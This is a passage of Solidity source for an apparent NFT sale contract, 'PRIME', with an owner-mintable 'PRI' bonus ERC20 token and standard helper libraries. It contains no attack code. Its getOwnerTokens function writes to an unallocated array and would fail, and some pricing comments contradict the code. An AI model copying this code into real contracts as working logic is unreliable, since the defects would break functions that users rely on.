* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory tokenName, string memory tokenSymbol) {
_name = tokenName;
_symbol = tokenSymbol;
_decimals = 18;
_balances[msg.sender] = 500000000e18;
_totalSupply = 500000000e18;
emit Transfer(address(0), msg.sender, 500000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* ERC-20 BONUS Tokens issued to initial buyers of PRIME NFT Tokens
*/
contract PRIToken is ERC20("PRIME1000.io | PRI Bonus Token", "PRI"), Ownable {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function burn(uint256 _amount) public {
_burn(msg.sender, _amount);
}
}
/**
* @title PRIME contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract PRIME is Context, Ownable, ERC165, IERC721Metadata {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
//using Strings for uint256;
mapping (uint => uint) public primeMap;
uint public PRIRate = 10000; //Bonus PRI Tokens
PRIToken public PRI;
uint public startPrime = 7919;
uint public lastPrime = startPrime;
mapping(uint256 => string) internal tokenURIs;
// Public variables
// This is the provenance record of all PRIME TOKENS in existence
string public constant PRIME_PROVENANCE = "45940F09304A7A5816731EC050B38436DE43F6AE7F6F284FF908B0396507024F";
uint256 public constant MAX_NFT_SUPPLY = 1000;
uint256 public startingIndex;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// // Name change token address
// address private _nctAddress;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
*
* => 0x06fdde03 ^ 0x95d89b41 == 0x93254542
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x93254542;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (PRIToken PRIAddress) {
_name = 'PRIME1000.io | PRIME NFT';
_symbol = 'PRIME';
PRI = PRIAddress;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
// Generate PRI Tokens for initial buyers of PRIME NFT
function bonusTokens(address _to, uint256 amount) internal {
PRI.mint(_to, amount);
}
function setPRIRate(uint _rate) public onlyOwner {
PRIRate = _rate;
}
function tokenURI(uint256 _tokenId) external view returns (string memory) {
return StringUtils.concat(
StringUtils.toSlice('https://prime1000.io/api/token/'),
StringUtils.toSlice(StringUtils.uint2str(_tokenId))
);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev Returns Prime Number of the NFT at index.
*/
function tokenPrimeByIndex(uint index) public view returns (uint) {
return primeMap[index];
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function isPrime(uint num) internal pure returns (bool) {
if(num <= 1){
return false;
}
if(num <= 3){
return true;
}
if (num%2 == 0 || num%3 == 0) return false;
for (uint i = 5; i * i <= num; i = i + 6) {
if (num % i == 0 || num % (i + 2) == 0) return false;
}
return true;
}
function getNextPrime() internal view returns (uint) {
if(lastPrime <= 2){
return 2;
}
for (uint i = lastPrime-1; i >= 2; i--) {
if(isPrime(i)){
//lastPrime = i;
//{ break; }
return i;
}
}
// return lastPrime;
}
/**
* @dev Gets PRIME Prices
*/
function getNFTPrice(uint numTokens) public view returns (uint256) {
require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended");
uint currentSupply = totalSupply()+numTokens;
uint totalPrice = 0;
for(uint i=1;i<= numTokens;i++){
if (currentSupply >= 1000) {
totalPrice += 200 ether; // ID 1000 *** 200 ETH ** ID 1000 => PRIME NUMBER 12
currentSupply--;
} else if (currentSupply >= 998) {
totalPrice += 100 ether; // ID 998 - 999 100 ETH ** ID 999 => PRIME NUMBER 3
currentSupply--;
} else if (currentSupply >= 995) {
totalPrice += 50 ether; // ID 995 - 999 50 ETH ** ID 995 => PRIME NUMBER 13
currentSupply--;
} else if (currentSupply >= 990) {
totalPrice += 30 ether; // ID 990- 994 30.0 ETH ** ID 990 => PRIME NUMBER 31
currentSupply--;
} else if (currentSupply >= 980) {
totalPrice += 20 ether; // ID 980- 989 20.0 ETH
currentSupply--;
} else if (currentSupply >= 970) {
totalPrice += 10 ether; // ID 970- 979 10.0 ETH
currentSupply--;
} else if (currentSupply >= 960) {
totalPrice += 5 ether; // ID 960- 969 5.0 ETH
currentSupply--;
} else if (currentSupply >= 950) {
totalPrice += 2 ether; // ID 950- 959 2.0 ETH
currentSupply--;
} else if (currentSupply >= 925) {
totalPrice += 1 ether; // ID 925- 949 1.0 ETH
currentSupply--;
} else if (currentSupply >= 900) {
totalPrice += 0.7 ether; // ID 900- 924 0.7 ETH
currentSupply--;
} else if (currentSupply >= 800) {
totalPrice += 0.6 ether; // ID 800 - 899 0.6 ETH
currentSupply--;
} else if (currentSupply >= 700) {
totalPrice += 0.5 ether; // ID 700 - 799 0.5 ETH
currentSupply--;
} else if (currentSupply >= 600) {
totalPrice += 0.4 ether; // ID 600 - 699 0.4 ETH
currentSupply--;
} else if (currentSupply >= 500) {
totalPrice += 0.3 ether; // ID 500 - 599 0.3 ETH ** ID 500 => PRIME NUMBER 3581
currentSupply--;
} else if (currentSupply >= 400) {
totalPrice += 0.2 ether; // ID 400 - 499 0.2 ETH
currentSupply--;
} else if (currentSupply >= 300) {
totalPrice += 0.1 ether; // ID 300 - 399 0.1 ETH
currentSupply--;
} else if (currentSupply >= 200) {
totalPrice += 0.08 ether; // ID 200 - 299 0.08 ETH
currentSupply--;
} else {
totalPrice += 0.05 ether; // ID 0 - 199 0.05 ETH ** ID 1 => PRIME NUMBER 7919
currentSupply--;
}
}
return totalPrice;
}
/**
* @dev Mints PRIME
*/
function mintNFT(uint256 numberOfNfts) public payable {
require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended");
require(numberOfNfts > 0, "numberOfNfts cannot be 0");
require(numberOfNfts <= 40, "You may not buy more than 40 NFTs at once");
require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY, "Exceeds MAX_NFT_SUPPLY");
require(getNFTPrice(numberOfNfts) <= msg.value, "Ether value sent is not adequate");
uint256 _bonusTokens = SafeMath.mul(msg.value , PRIRate);
bonusTokens(msg.sender, _bonusTokens); //Buyer receives Bonus PRI tokens
for (uint i = 0; i < numberOfNfts; i++) {
uint mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex+1);
}
}
function getOwnerTokens(address _tokenOwner) public view returns(uint[] memory) {
uint256[] memory _tokensOwned;
uint foundCount = 0;
for(uint i=1;i<=totalSupply();i++){
if(ownerOf(i) == _tokenOwner){
_tokensOwned[foundCount] = i;
foundCount++;
}
}
return _tokensOwned;
}
/**
* @dev Withdraw ether from this contract (Callable by owner)
*/
function withdraw() onlyOwner public {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function withdrawPartial(uint _amount) onlyOwner public {
require(_amount <= address(this).balance, "!exceeds balance");
msg.sender.transfer(_amount);
}
function withdrawToken(address tokenAddress) onlyOwner public {
IERC20 Token = IERC20(tokenAddress);
uint256 currentTokenBalance = Token.balanceOf(address(this));
Token.transfer(msg.sender, currentTokenBalance);
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mintNFT(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mintNFT(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
// tokenURIs[tokenId] =
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
primeMap[tokenId] = lastPrime;
lastPrime = getNextPrime();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burnNFT(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
